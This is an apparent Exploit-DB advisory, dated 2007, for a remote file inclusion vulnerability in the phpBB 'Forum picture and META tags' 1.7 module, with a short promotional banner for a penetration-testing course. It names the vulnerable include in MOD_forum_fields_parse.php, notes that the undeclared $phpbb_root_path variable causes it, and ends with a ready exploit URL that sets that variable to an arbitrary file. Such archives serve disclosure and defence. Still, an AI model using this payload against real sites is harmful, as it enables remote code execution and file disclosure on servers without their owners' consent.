phpBB MOD Forum picture and META tags 1.7 - Remote File Inclusion

EDB-ID:

3613


Author:

bd0rk

Type:

webapps


Platform:

PHP

Date:

2007-03-30


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

Exploitname: phpBB Module Forum picture and META tags 1.7 File Include Vulnerability

Vendor: http://www.rfnnet.nl/downloads/phpbb/MOD_Forum_picture_and_META_tags.zip

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, TheJT, Lu7k, CodeR

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!



[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE  

# milw0rm.com [2007-03-30]